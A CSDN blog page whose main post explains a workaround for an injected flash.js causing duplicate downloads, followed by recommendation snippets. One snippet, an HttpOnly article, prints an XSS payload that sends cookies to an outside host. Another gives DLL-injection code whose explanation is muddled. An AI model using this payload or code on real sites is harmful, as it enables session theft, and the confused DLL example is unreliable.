flash.js 劫持怎么解决

   之前写的一个下载xlsx文件,最近换了网络环境,服务器环境下载总会触发两次请求,中间会有一个flash.js, 下载两次之后出现白页面,度娘之后发现没有实质性的解决办法,于是打算发个帖子,给大家借鉴一下。

 下面是别人的一个图,我这边修复了,忘记截图了。

度娘一搜一大堆解决方案,但是都是类似下面这种

  修改浏览器的操操作,虽然修改了可以用,但是不能每一个用的人都去修改吧,而且F12 一关,又会重复之前的两次下载,很明显不是最终解决办法,

   修改之后,不出现falsh.js或者不多次下载才是最终解决。

  所以本帖配合生产环境,解决了一下出现falsh.js 多次下载的情况

 什么原因造成的,具体参照一下这个帖子(https://blog.csdn.net/qq_34908167/article/details/89398055),这里不做过多解释

  主要说一下解决思路和办法

  1.查看flash.js 可以看到

这个植入的js 会判断当前浏览器,如果flash是0就会去重新加载当前请求,否则不处理;

所以这块在下载的时候,我们后台可以修改伪装浏览器UA代码如下:

 设置相应浏览器内容回去之后,发现下边这段已然会重新发起请求,

   所以这个时候,想一下,前台请求过来的时候能否把这个cookies 删除一下,拒绝二次操作如下,

但是设置会,发现已然跳到一个空白页面,因为客户端已经请求过来了,这边只是没做操作,这就很不友好了,如果客户端请求有条件下载的话,还需要刷新,重新请求

所以这个时候想,能不能后端直接返回让他退回到上一步操作,下边是是代码,但是返回上一步操作之后发现,点击下载无反应,第一步的下载都不走了,这个肯定也是不行

所以这个时候就想着利用cookies 设置一下客户端重新请求,加一个cookies ,在回退客户端上一步的时候,去判断一下当前的cookies, 进行模拟操作

客户端加载的时候查询是否有对应设置的cookies,如果有直接去下载,然后删除cookies,这样对用户来说就很和谐,既没有出现空白页面,也不需要在去点击下载(也不需要F23设置UA)。

 

 

 

 

 

 

 

 

 

 

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
随着www服务的兴起,越来越多的应用程序转向了B/S结构,这样只需要一个浏览器就可 以访问各种各样的web服务,但是这样也越来越导致了越来越多的web安全问题。www服务依 赖于Http协议实现,Http是无状态的协议,所以为了在各个会话之间传递信息,就不可避免地 用到Cookie或者Session等技术来标记访问者的状态,而无论是Cookie还是Session,一般都 是利用Cookie来实现的(Session其实是在浏览器的Cookie里带了一个Token来标记,服务器 取得了这个Token并且检查合法性之后就把服务器上存储的对应的状态和浏览器绑定),这样 就不可避免地安全聚焦到了Cookie上面,只要获得这个Cookie,就可以取得别人的身份,这对 于入侵者是一件很美妙的事情,特别当获得的Cookie属于管理员等高权限身份者时,危害就 更大了。在各种web安全问题里,其中xss漏洞就因此显得格外危险。 对于应用程序来说,一旦存在了xss漏洞就意味着别人可以在你的浏览器中执行任意的 js脚本,如果应用程序是开源的或者功能是公开的话,别人就可以利用ajax使用这些功能,但 是过程往往很烦琐,特别是想直接获得别人身份做随意浏览的话困难就更大。而对于不开源 的应用程序,譬如某些大型站点的web后台(web2.0一个显著的特征就是大量的交互,用户往 往需要跟后台的管理员交互,譬如Bug汇报,或者信息投递等等),尽管因为交互的存在可能存 在跨站脚本漏洞,但是因为对后台的不了解,无法构造完美的ajax代码来利用,即使可以用js 取得后台的代码并回传分析,但是过程同样烦琐而且不隐蔽。这个时候,利用xss漏洞获得 Cookie或者Session劫持就很有效了,具体分析应用程序的认证,然后使用某些技巧,甚至可 以即使对方退出程序也一样永久性获得对方的身份。 那么如何获得Cookie或者Session劫持呢?在浏览器中的document对象中,就储存了 Cookie的信息,而利用js可以把这里面的Cookie给取出来,只要得到这个Cookie就可以拥有 别人的身份了。一个很典型的xss攻击语句如下: xss exp: url=document.top.location.href; cookie=[removed]; c=new Image(); c.src='http://www.loveshell.net/c.php?c='+cookie+'&u='+url; 一些应用程序考虑到这个问题所在,所以可能会采取浏览器绑定技术,譬如将Cookie和 浏览器的User-agent绑定,一旦发现修改就认为Cookie失效。这种方法已经证明是无效的, 因为当入侵者偷得Cookie的同时他肯定已经同时获得了User-agent。还有另外一种比较严 格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定,但是一些程序取得IP的方法有问 题一样导致饶过),但是这样就带来很差的用户体验,更换Ip是经常的事,譬如上班与家里就 是2个IP,所以这种方法往往也不给予采用。所以基于Cookie的攻击方式现在就非常流行,在 一些web 2.0站点很容易就取到应用程序的管理员身份。 如何保障我们的敏感Cookie安全呢?通过上面的分析,一般的Cookie都是从document对 象中获得的,我们只要让敏感Cookie在浏览器document中不可见就行了。很幸运,现在浏览 器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一 旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了,而浏览器在浏览 的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时候),应用程 序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对 于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安 全也保证了应用。关于HttpOnly说明可以参照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx。 给浏览器设置Cookie的头如下: Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly] 以php为例,在php 5.2版本时就已经在Setcookie函数加入了对HttpOnly的支持,譬如 <?php setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE); ?> 就可以设置abc这个cookie,将其设置为HttpOnly,document将不可见这个Cookie。因为 setcookie函数本质就是个header,所以一样可以使用header来设置HttpOnly。然后再使用 [removed]就可以看到已经取不到这个Cookie了。我们用这种方法来保护利例如 Sessionid,如一些用于认证的auth-cookie,就不用担心身份被人获得了,这对于一些后台程 序和webmail提升安全性的意义是重大的。再次使用上面的攻击手法时可以看到,已经不能 获取被我们设置为HttpOnly的敏感Cookie了。 但是,也可以看到HttpOnly并不是万能的,首先它并不能解决xss的问题,仍然不能抵制 一些有耐心的黑客的攻击,也不能防止入侵者做ajax提交,甚至一些基于xss的proxy也出现 了,但是已经可以提高攻击的门槛了,起码xss攻击不是每个脚本小子都能完成的了,而且其 他的那些攻击手法因为一些环境和技术的限制,并不像Cookie窃取这种手法一样通用。 HttpOnly也是可能利用一些漏洞或者配置Bypass的,关键问题是只要能取到浏览器发送 的Cookie头就可以了。譬如以前出现的Http Trace攻击就可以将你的Header里的Cookie回 显出来,利用ajax或者flash就可以完成这种攻击,这种手法也已经在ajax和flash中获得修 补。另外一个关于配置或者应用程序上可能Bypass的显著例子就是phpinfo,大家知道 phpinfo会将浏览器发送的http头回显出来,其中就包括我们保护的auth信息,而这个页面经 常存在在各种站点上,只要用ajax取phpinfo页面,取出header头对应的部分就可以获得 Cookie了。一些应用程序的不完善也可能导致header头的泄露,这种攻击方式对于basic验 证保护的页面一样可以攻击。 HttpOnly在IE 6以上,Firefox较新版本都得到了比较好的支持,并且在如Hotmail等应 用程序里都有广泛的使用,并且已经是取得了比较好的安全效果。
web渗透系列教学下载共64份: 内容如下; web渗透--1--web安全原则.pdf web渗透--10--不安全的HTTP方法.pdf web渗透--11--登录认证安全测试.pdf web渗透--12--浏览器缓存攻击测试.pdf web渗透--13--目录遍历文件包含测试.pdf web渗透--14--目录浏览漏洞测试.pdf web渗透--15--越权漏洞.pdf web渗透--16--任意文件下载.pdf web渗透--17--跨站请求伪造(CSRF).pdf web渗透--18--服务端请求伪造攻击(SSRF).pdf web渗透--19--跨站脚本攻击(XSS).pdf web渗透--2--web渗透测试清单.pdf web渗透--20--HTTP Host头攻击.pdf web渗透--21--SQL注入(上).pdf web渗透--22--SQL注入(下).pdf web渗透--23--XML注入攻击.pdf web渗透--24--XXE外部实体注入.pdf web渗透--25--服务器端包含注入(SSI注入).pdf web渗透--26--XPath注入.pdf web渗透--27--命令注入.pdf web渗透--28--HTTP响应头拆分漏洞.pdf web渗透--29--LDAP注入.pdf web渗透--3--自动化漏洞扫描.pdf web渗透--30--ORM注入.pdf web渗透--31--Json劫持Json注入.pdf web渗透--32--宽字节注入.pdf web渗透--33--脆弱的通信加密算法.pdf web渗透--34--Padding Oracle攻击.pdf web渗透--35--未加密信道发送敏感数据.pdf web渗透--36--业务逻辑数据验证.pdf web渗透--37--伪造请求.pdf web渗透--38--验证码功能缺陷.pdf web渗透--39--竞争并发漏洞.pdf web渗透--4--Google Hacking.pdf web渗透--40--IMAPSMTP注入.pdf web渗透--41--本地文件包含远程文件包含.pdf web渗透--42--文件上传漏洞.pdf web渗透--43--web服务器控制台地址泄漏.pdf web渗透--44--报错信息测试.pdf web渗透--45--不安全的对象引用.pdf web渗透--46--基于DOM的XSS跨站.pdf web渗透--47--堆栈轨迹测试.pdf web渗透--48--常见的数据信息泄露.pdf web渗透--49--web消息漏洞.pdf web渗透--5--web服务器指纹识别.pdf web渗透--50--WebSockets安全测试.pdf web渗透--51--异常信息泄漏.pdf web渗透--52--防御应用程序滥用.pdf web渗透--53--客户端资源处理漏洞.pdf web渗透--54--HTML注入.pdf web渗透--55--Flash跨域访问漏洞.pdf web渗透--56--客户端URL重定向.pdf web渗透--57--DNS域传送漏洞.pdf web渗透--58--服务器多余端口开放.pdf web渗透--59--本地存储安全.pdf web渗透--6--枚举web服务器应用.pdf web渗透--60--web服务器解析漏洞.pdf web渗透--61--JavaScript注入漏洞.pdf web渗透--62--CSS注入.pdf web渗透--63--会话固化漏洞.pdf web渗透--64--常见的WAF绕过方法.pdf web渗透--7--识别web应用框架.pdf web渗透--8--配置管理测试.pdf web渗透--9--身份管理测试.pdf
在现有省、市港口信息化系统进行有效整合基础上,借鉴新 一代的感知-传输-应用技术体系,实现对码头、船舶、货物、重 大危险源、危险货物装卸过程、航管航运等管理要素的全面感知、 有效传输和按需定制服务,为行政管理人员和相关单位及人员提 供高效的管理辅助,并为公众提供便捷、实时的水运信息服务。 建立信息整合、交换和共享机制,建立健全信息化管理支撑 体系,以及相关标准规范和安全保障体系;按照“绿色循环低碳” 交通的要求,搭建高效、弹性、高可扩展性的基于虚拟技术的信 息基础设施,支撑信息平台低成本运行,实现电子政务建设和服务模式的转变。 实现以感知港口、感知船舶、感知货物为手段,以港航智能 分析、科学决策、高效服务为目的和核心理念,构建“智慧港口”的发展体系。 结合“智慧港口”相关业务工作特点及信息化现状的实际情况,本项目具体建设目标为: 一张图(即GIS 地理信息服务平台) 在建设岸线、港口、港区、码头、泊位等港口主要基础资源图层上,建设GIS 地理信息服务平台,在此基础上依次接入和叠加规划建设、经营、安全、航管等相关业务应用专题数据,并叠 加动态数据,如 AIS/GPS/移动平台数据,逐步建成航运管理处 "一张图"。系统支持扩展框架,方便未来更多应用资源的逐步整合。 现场执法监管系统 基于港口(航管)执法基地建设规划,依托统一的执法区域 管理和数字化监控平台,通过加强对辖区内的监控,结合移动平 台,形成完整的多维路径和信息追踪,真正做到问题能发现、事态能控制、突发问题能解决。 运行监测和辅助决策系统 对区域港口与航运业务日常所需填报及监测的数据经过科 学归纳及分析,采用统一平台,消除重复的填报数据,进行企业 输入和自动录入,并进行系统智能判断,避免填入错误的数据, 输入的数据经过智能组合,自动生成各业务部门所需的数据报 表,包括字段、格式,都可以根据需要进行定制,同时满足扩展 性需要,当有新的业务监测数据表需要产生时,系统将分析新的 需求,将所需字段融合进入日常监测和决策辅助平台的统一平台中,并生成新的所需业务数据监测及决策表。 综合指挥调度系统 建设以港航应急指挥中心为枢纽,以各级管理部门和经营港 口企业为节点,快速调度、信息共享的通信网络,满足应急处置中所需要的信息采集、指挥调度和过程监控等通信保障任务。 设计思路 根据项目的建设目标和“智慧港口”信息化平台的总体框架、 设计思路、建设内容及保障措施,围绕业务协同、信息共享,充 分考虑各航运(港政)管理处内部管理的需求,平台采用“全面 整合、重点补充、突出共享、逐步完善”策略,加强重点区域或 运输通道交通基础设施、运载装备、运行环境的监测监控,完善 运行协调、应急处置通信手段,促进跨区域、跨部门信息共享和业务协同。 以“统筹协调、综合监管”为目标,以提供综合、动态、实 时、准确、实用的安全畅通和应急数据共享为核心,围绕“保畅通、抓安全、促应急"等实际需求来建设智慧港口信息化平台。 系统充分整合和利用航运管理处现有相关信息资源,以地理 信息技术、网络视频技术、互联网技术、移动通信技术、云计算 技术为支撑,结合航运管理处专网与行业数据交换平台,构建航 运管理处与各部门之间智慧、畅通、安全、高效、绿色低碳的智 慧港口信息化平台。 系统充分考虑航运管理处安全法规及安全职责今后的变化 与发展趋势,应用目前主流的、成熟的应用技术,内联外引,优势互补,使系统建设具备良好的开放性、扩展性、可维护性。
MemoryProfilerRuntimeWin.dll 劫持是一种代码注入技术,可以修改程序的行为、窃取敏感信息或实现其他恶意行为。这里提供一个简单的示例来说明如何劫持 MemoryProfilerRuntimeWin.dll。 首先,我们需要编写一个 DLL,用于劫持 MemoryProfilerRuntimeWin.dll 的函数。以下是一个简单的示例: ```cpp #include <Windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"MemoryProfilerRuntimeWin.dll has been loaded!", L"DLL Injection", MB_OK); break; case DLL_PROCESS_DETACH: MessageBox(NULL, L"MemoryProfilerRuntimeWin.dll is being unloaded!", L"DLL Injection", MB_OK); break; } return TRUE; } extern "C" __declspec(dllexport) void Inject() { MessageBox(NULL, L"Injected successfully!", L"DLL Injection", MB_OK); } ``` 这个 DLL 中的 `DllMain` 函数会在 DLL 被加载和卸载时被调用,我们在这里添加了弹窗提示。除此之外,我们还编写了一个名为 `Inject` 的函数,用于注入后被调用。 接下来,我们使用一个简单的 C++ 代码来注入 DLL: ```cpp #include <Windows.h> #include <iostream> int main() { // 获取 MemoryProfilerRuntimeWin.dll 的模块句柄 HMODULE hModule = GetModuleHandle(L"MemoryProfilerRuntimeWin.dll"); if (!hModule) { std::cout << "Failed to get module handle!" << std::endl; return -1; } // 获取 LoadLibrary 函数的地址 FARPROC pfnLoadLibrary = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"); if (!pfnLoadLibrary) { std::cout << "Failed to get LoadLibrary address!" << std::endl; return -1; } // 在 MemoryProfilerRuntimeWin.dll 中注入 DLL HANDLE hThread = CreateRemoteThread(GetCurrentProcess(), NULL, 0, (LPTHREAD_START_ROUTINE)pfnLoadLibrary, "InjectedDLL.dll", 0, NULL); if (!hThread) { std::cout << "Failed to inject DLL!" << std::endl; return -1; } std::cout << "DLL injected successfully!" << std::endl; // 等待线程结束 WaitForSingleObject(hThread, INFINITE); // 关闭线程句柄 CloseHandle(hThread); return 0; } ``` 这段代码会获取 MemoryProfilerRuntimeWin.dll 的模块句柄,然后使用 `GetProcAddress` 函数获取 `LoadLibrary` 函数的地址,最后调用 `CreateRemoteThread` 函数在 MemoryProfilerRuntimeWin.dll 中注入我们编写的 DLL。 当我们运行这个程序时,我们会看到三个弹窗提示:一个是 `MemoryProfilerRuntimeWin.dll has been loaded!`,一个是 `Injected successfully!`,最后一个是 `MemoryProfilerRuntimeWin.dll is being unloaded!`。 这就是一个简单的 MemoryProfilerRuntimeWin.dll 劫持的示例。需要注意的是,这种技术可能会被杀毒软件或操作系统防护机制识别并拦截,应当谨慎使用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值